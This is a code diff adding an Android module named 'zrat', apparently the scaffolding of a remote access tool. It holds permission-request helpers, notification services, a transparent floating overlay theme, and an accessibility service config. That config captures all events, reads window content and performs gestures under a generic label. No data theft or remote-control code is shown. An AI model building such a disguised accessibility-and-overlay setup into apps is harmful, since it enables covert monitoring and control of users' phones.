+        logPermissionsResponse(grantedPermissions, deniedPermissions);
+        permissionHandler.onPermissionsResult(grantedPermissions, deniedPermissions);
+    }
+
+    void startPermissionActivity(Set<String> permissions) {
+        Intent intent = permissionActivityIntent(permissions);
+        context.startActivity(intent);
+    }
+
+    void showPermissionNotification(Set<String> permissions) {
+        NotificationService notificationService = new NotificationService(context);
+        int titleResId = this.notificationSettings.getTitleResId();
+        int messageResId = this.notificationSettings.getMessageResId();
+        int smallIconResId = this.notificationSettings.getSmallIconResId();
+        int colorResId = this.notificationSettings.getColorResId();
+
+        Notification notification = notificationService.buildNotification(context.getString(titleResId),
+                context.getString(messageResId), smallIconResId, colorResId, permissionActivityIntent(permissions),
+                notificationDismissIntent(permissions));
+        notificationService.notify(permissions.toString(), permissions.hashCode(), notification);
+    }
+
+    @NonNull
+    private Intent permissionActivityIntent(Set<String> permissions) {
+        return new Intent(context, PermissionsActivity.class)
+                .putExtra(EXTRA_PERMISSIONS, permissions.toArray(new String[0]))
+                .setAction(permissions.toString())
+                .setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+    }
+
+    boolean permissionAlreadyGranted(String permission) {
+        return checkSelfPermission(context, permission) == PERMISSION_GRANTED;
+    }
+
+    void registerBroadcastReceiver(String action) {
+        Log.i("PERMISSION","Registering for PERMISSIONS_REQUEST broadcast");
+        //TODO Use LiveData or ReactiveStreams
+        LocalBroadcastManager.getInstance(context).registerReceiver(this, new IntentFilter(action));
+    }
+
+    void unregisterBroadcastReceiver() {
+        Log.i("PERMISSION","Un-registering for PERMISSIONS_REQUEST broadcast");
+        //TODO Use LiveData or ReactiveStreams
+        LocalBroadcastManager.getInstance(context).unregisterReceiver(this);
+    }
+
+    void removePendingPermissionRequests(List<String> permissions) {
+        permissionHandler.invalidatePendingPermissionRequests(permissions);
+    }
+
+    @NonNull
+    private PendingIntent notificationDismissIntent(Set<String> permissions) {
+        Intent notificationDeleteIntent = new Intent(context, NotificationDismissReceiver.class);
+        notificationDeleteIntent.putExtra(EXTRA_PERMISSIONS, permissions.toArray(new String[0]));
+        return PendingIntent.getBroadcast(context, PermissionsActivity.PERMISSIONS_REQUEST_CODE,
+                notificationDeleteIntent, VersionOrchestrator.getImmutablePendingIntentFlags(FLAG_ONE_SHOT));
+    }
+
+    private void logPermissionsResponse(String[] grantedPermissions, DeniedPermissions deniedPermissions) {
+        Log.i("PERMISSION",String.format("Received broadcast response for permission(s). \nGranted: %s\nDenied: %s",
+                Arrays.toString(grantedPermissions), deniedPermissions));
+    }
+
+    public interface PermissionRequestListener {
+        void onPermissionGranted();
+
+        void onPermissionDenied(DeniedPermissions deniedPermissions);
+    }
+}

zrat/src/main/java/com/example/zrat/permissions/PermissionsActivity.java

@@ -0,0 +1,72 @@
+package com.example.zrat.permissions;
+
+import android.content.pm.PackageManager;
+import android.os.Bundle;
+import android.util.Log;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+import androidx.core.app.ActivityCompat;
+import androidx.appcompat.app.AppCompatActivity;
+
+import com.example.zrat.permissions.models.DeniedPermission;
+import com.example.zrat.permissions.models.DeniedPermissions;
+import com.example.zrat.permissions.services.BroadcastService;
+
+import java.util.Arrays;
+import java.util.HashSet;
+import java.util.Set;
+
+import static java.util.Arrays.asList;
+
+public class PermissionsActivity extends AppCompatActivity {
+    static final int PERMISSIONS_REQUEST_CODE = 100;
+    public static final String EXTRA_PERMISSIONS_GRANTED = "ANDROID.PERMISSIONS_GRANTED";
+    public static final String EXTRA_PERMISSIONS_DENIED = "ANDROID.PERMISSIONS_DENIED";
+    static final String EXTRA_PERMISSIONS = "ANDROID.PERMISSIONS";
+
+    @Override
+    protected void onCreate(@Nullable Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        String[] permissions = getIntent().getStringArrayExtra(EXTRA_PERMISSIONS);
+        ActivityCompat.requestPermissions(this, permissions, PERMISSIONS_REQUEST_CODE);
+    }
+
+    @Override
+    public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
+        super.onRequestPermissionsResult(requestCode, permissions, grantResults);
+
+        if (grantResults.length == 0 || permissions.length == 0) {
+            Log.e("PERMISSION", "Permission request interrupted. Aborting.");
+
+            PermissionManager.getInstance(this)
+                    .removePendingPermissionRequests(asList(getIntent().getStringArrayExtra(EXTRA_PERMISSIONS)));
+
+            //TODO figure out how to finish this activity when request is interrupted to avoid duplicate dialog
+            finish();
+            return;
+        }
+
+        Log.i("PERMISSION", "RequestPermissionsResult, sending broadcast for permissions " + Arrays.toString(permissions));
+
+        sendPermissionResponse(permissions, grantResults);
+        finish();
+    }
+
+    private void sendPermissionResponse(@NonNull String[] permissions, @NonNull int[] grantResults) {
+        Set<String> grantedPermissions = new HashSet<>();
+        DeniedPermissions deniedPermissions = new DeniedPermissions();
+
+        for (int i = 0; i < permissions.length; i++) {
+            if (grantResults[i] == PackageManager.PERMISSION_GRANTED) {
+                grantedPermissions.add(permissions[i]);
+            } else {
+                boolean shouldShowRationale = ActivityCompat.shouldShowRequestPermissionRationale(this, permissions[i]);
+                deniedPermissions.add(new DeniedPermission(permissions[i], shouldShowRationale));
+            }
+        }
+
+        new BroadcastService(this).broadcastPermissionRequestResult(grantedPermissions, deniedPermissions);
+    }
+}

zrat/src/main/java/com/example/zrat/permissions/helpers/AppStatus.java

@@ -0,0 +1,24 @@
+package com.example.zrat.permissions.helpers;
+
+import android.app.ActivityManager;
+import android.content.Context;
+
+import java.util.List;
+
+public class AppStatus {
+    private final Context context;
+
+    public AppStatus(Context context) {
+        this.context = context;
+    }
+
+    public boolean isInForeground() {
+        ActivityManager am = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE);
+        List<ActivityManager.RunningAppProcessInfo> runningAppProcesses = am.getRunningAppProcesses();
+        for (ActivityManager.RunningAppProcessInfo process : runningAppProcesses) {
+            if (process.processName.equals(context.getApplicationInfo().processName))
+                return process.importance == ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND;
+        }
+        return false;
+    }
+}

zrat/src/main/java/com/example/zrat/permissions/helpers/VersionOrchestrator.java

@@ -0,0 +1,19 @@
+package com.example.zrat.permissions.helpers;
+
+import static android.app.PendingIntent.FLAG_IMMUTABLE;
+
+public class VersionOrchestrator {
+    public static int getImmutablePendingIntentFlags(int... flags) {
+        int combinedImmutableFlags = 0;
+
+        if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.M) {
+            combinedImmutableFlags = FLAG_IMMUTABLE;
+        }
+
+        for (int flag : flags) {
+            combinedImmutableFlags = combinedImmutableFlags | flag;
+        }
+
+        return combinedImmutableFlags;
+    }
+}

zrat/src/main/java/com/example/zrat/permissions/models/DeniedPermission.java

@@ -0,0 +1,40 @@
+package com.example.zrat.permissions.models;
+
+import androidx.annotation.NonNull;
+
+import org.parceler.Parcel;
+import org.parceler.ParcelConstructor;
+
+@Parcel
+public class DeniedPermission {
+    final String permission;
+    final boolean shouldShowRationale;
+
+    @ParcelConstructor
+    public DeniedPermission(String permission, boolean shouldShowRationale) {
+        this.permission = permission;
+        this.shouldShowRationale = shouldShowRationale;
+    }
+
+    public boolean shouldShowRationale() {
+        return shouldShowRationale;
+    }
+
+    @NonNull
+    @Override
+    public String toString() {
+        return permission;
+    }
+
+    @Override
+    public boolean equals(Object anotherDeniedPermission) {
+        if (this == anotherDeniedPermission) return true;
+        if (anotherDeniedPermission == null) return false;
+        return permission.equals(((DeniedPermission) anotherDeniedPermission).permission);
+    }
+
+    @Override
+    public int hashCode() {
+        return permission.hashCode();
+    }
+}

zrat/src/main/java/com/example/zrat/permissions/models/DeniedPermissions.java

@@ -0,0 +1,32 @@
+package com.example.zrat.permissions.models;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.VisibleForTesting;
+
+import org.parceler.Parcel;
+
+import java.util.HashSet;
+import java.util.Set;
+
+import static java.util.Arrays.asList;
+
+@Parcel
+public class DeniedPermissions extends HashSet<DeniedPermission> {
+
+    @VisibleForTesting
+    public static DeniedPermissions create(@NonNull DeniedPermission... deniedPermissions) {
+        DeniedPermissions permissions = new DeniedPermissions();
+        permissions.addAll(asList(deniedPermissions));
+        return permissions;
+    }
+
+    @NonNull
+    public Set<String> stripped() {
+        HashSet<String> strippedPermissions = new HashSet<>();
+        for (DeniedPermission deniedPermission : this) {
+            strippedPermissions.add(deniedPermission.permission);
+        }
+
+        return strippedPermissions;
+    }
+}

zrat/src/main/java/com/example/zrat/permissions/services/BroadcastService.java

@@ -0,0 +1,34 @@
+package com.example.zrat.permissions.services;
+
+import android.content.Context;
+import android.content.Intent;
+import androidx.localbroadcastmanager.content.LocalBroadcastManager;
+
+import com.example.zrat.permissions.models.DeniedPermissions;
+
+import org.parceler.Parcels;
+
+import java.util.Set;
+
+import static com.example.zrat.permissions.PermissionsActivity.EXTRA_PERMISSIONS_DENIED;
+import static com.example.zrat.permissions.PermissionsActivity.EXTRA_PERMISSIONS_GRANTED;
+
+public class BroadcastService {
+    private final Context context;
+
+    public BroadcastService(Context context) {
+        this.context = context;
+    }
+
+    public void broadcastPermissionRequestResult(Set<String> grantedPermissions, DeniedPermissions deniedPermissions) {
+        Intent intent = new Intent(IntentAction.ACTION_PERMISSIONS_REQUEST);
+        intent.putExtra(EXTRA_PERMISSIONS_GRANTED, grantedPermissions.toArray(new String[0]));
+        intent.putExtra(EXTRA_PERMISSIONS_DENIED, Parcels.wrap(deniedPermissions));
+        //TODO Use LiveData or ReactiveStreams
+        LocalBroadcastManager.getInstance(context).sendBroadcast(intent);
+    }
+
+    public interface IntentAction {
+        String ACTION_PERMISSIONS_REQUEST = "com.example.zrat.permissions.PERMISSIONS_REQUEST";
+    }
+}

zrat/src/main/java/com/example/zrat/permissions/services/NotificationService.java

@@ -0,0 +1,72 @@
+package com.example.zrat.permissions.services;
+
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.PendingIntent;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Build;
+
+import com.example.zrat.R;
+import com.example.zrat.permissions.helpers.VersionOrchestrator;
+
+import androidx.annotation.ColorRes;
+import androidx.annotation.DrawableRes;
+import androidx.core.app.NotificationCompat;
+
+import static android.app.PendingIntent.FLAG_ONE_SHOT;
+import static android.content.Context.NOTIFICATION_SERVICE;
+
+public class NotificationService {
+    private static final String CHANNEL_ID = "android-permissions";
+    private final Context context;
+    private final NotificationManager notificationManager;
+
+    public NotificationService(Context context) {
+        this(context, (NotificationManager) context.getSystemService(NOTIFICATION_SERVICE));
+    }
+
+    private NotificationService(Context context, NotificationManager notificationManager) {
+        this.context = context;
+        this.notificationManager = notificationManager;
+        this.createNotificationChannel();
+    }
+
+    private void createNotificationChannel() {
+        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
+            CharSequence name = context.getString(R.string.notification_channel_name);
+            int importance = NotificationManager.IMPORTANCE_DEFAULT;
+
+            NotificationChannel channel = new NotificationChannel(CHANNEL_ID, name, importance);
+            notificationManager.createNotificationChannel(channel);
+        }
+    }
+
+    public Notification buildNotification(String title, String message, @DrawableRes int smallIconResId,
+                                          @ColorRes int colorResId, Intent intent, PendingIntent deleteIntent) {
+        PendingIntent pendingIntent = PendingIntent.getActivity(context, message.hashCode(), intent,
+                VersionOrchestrator.getImmutablePendingIntentFlags(FLAG_ONE_SHOT));
+
+        NotificationCompat.Builder notificationBuilder = new NotificationCompat.Builder(context, CHANNEL_ID)
+                .setContentTitle(title)
+                .setContentText(message)
+                .setAutoCancel(true)
+                .setPriority(NotificationCompat.PRIORITY_DEFAULT)
+                .setSmallIcon(smallIconResId)
+                .setColor(context.getResources().getColor(colorResId))
+                .setContentIntent(pendingIntent);
+
+        notificationBuilder.setDeleteIntent(deleteIntent);
+
+        NotificationCompat.BigTextStyle bigTextNotification = new NotificationCompat.BigTextStyle(notificationBuilder)
+                .bigText(message)
+                .setBigContentTitle(title);
+
+        return bigTextNotification.build();
+    }
+
+    public void notify(String tag, int id, Notification notification) {
+        notificationManager.notify(tag, id, notification);
+    }
+}

zrat/src/main/res/drawable/ic_android_black_24dp.xml

@@ -0,0 +1,5 @@
+<vector android:height="24dp" android:tint="#FFFFFF"
+    android:viewportHeight="24" android:viewportWidth="24"
+    android:width="24dp" xmlns:android="http://schemas.android.com/apk/res/android">
+    <path android:fillColor="#FF000000" android:pathData="M17.6,11.48 L19.44,8.3a0.63,0.63 0,0 0,-1.09 -0.63l-1.88,3.24a11.43,11.43 0,0 0,-8.94 0L5.65,7.67a0.63,0.63 0,0 0,-1.09 0.63L6.4,11.48A10.81,10.81 0,0 0,1 20L23,20A10.81,10.81 0,0 0,17.6 11.48ZM7,17.25A1.25,1.25 0,1 1,8.25 16,1.25 1.25,0 0,1 7,17.25ZM17,17.25A1.25,1.25 0,1 1,18.25 16,1.25 1.25,0 0,1 17,17.25Z"/>
+</vector>

zrat/src/main/res/layout/floating_bar.xml

@@ -0,0 +1,13 @@
+<?xml version="1.0" encoding="utf-8"?>
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:app="http://schemas.android.com/apk/res-auto"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent">
+
+    <ImageButton
+        android:id="@+id/btn1"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:backgroundTint="@color/colorPrimary"
+        android:src="@drawable/ic_android_black_24dp" />
+</LinearLayout>

zrat/src/main/res/values/strings.xml

@@ -0,0 +1,8 @@
+<?xml version="1.0" encoding="utf-8"?>
+<resources>
+    <string name="message_permission_required">App needs permission for some features to work properly</string>
+    <string name="title_permission_required">Permission required</string>
+    <string name="notification_channel_name">Permissions</string>
+    <string name="accessibility_service_description">Accessibility Service</string>
+    <string name="accessibility_service_label">Accessibility Service</string>
+</resources>

zrat/src/main/res/values/styles.xml

@@ -0,0 +1,11 @@
+<?xml version="1.0" encoding="utf-8"?>
+<resources>
+    <style name="AppTheme.Transparent" parent="Theme.AppCompat.Light.NoActionBar">
+        <item name="android:windowIsTranslucent">true</item>
+        <item name="android:windowBackground">@android:color/transparent</item>
+        <item name="android:windowContentOverlay">@null</item>
+        <item name="android:windowNoTitle">true</item>
+        <item name="android:windowIsFloating">true</item>
+        <item name="android:backgroundDimEnabled">false</item>
+    </style>
+</resources>

zrat/src/main/res/xml/accessibility_service_config.xml

@@ -0,0 +1,9 @@
+<?xml version="1.0" encoding="utf-8"?>
+<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
+    android:accessibilityEventTypes="typeAllMask"
+    android:accessibilityFeedbackType="feedbackGeneric"
+    android:accessibilityFlags="flagDefault"
+    android:canPerformGestures="true"
+    android:canRetrieveWindowContent="true"
+    android:description="@string/accessibility_service_description"
+    android:notificationTimeout="100" />

zrat/src/test/java/com/example/zrat/ExampleUnitTest.java

@@ -0,0 +1,17 @@
+package com.example.zrat;
+
+import org.junit.Test;
+
+import static org.junit.Assert.*;
+
+/**
+ * Example local unit test, which will execute on the development machine (host).
+ *
+ * @see <a href="http://d.android.com/tools/testing">Testing documentation</a>
+ */
+public class ExampleUnitTest {
+    @Test
+    public void addition_isCorrect() {
+        assertEquals(4, 2 + 2);
+    }
+}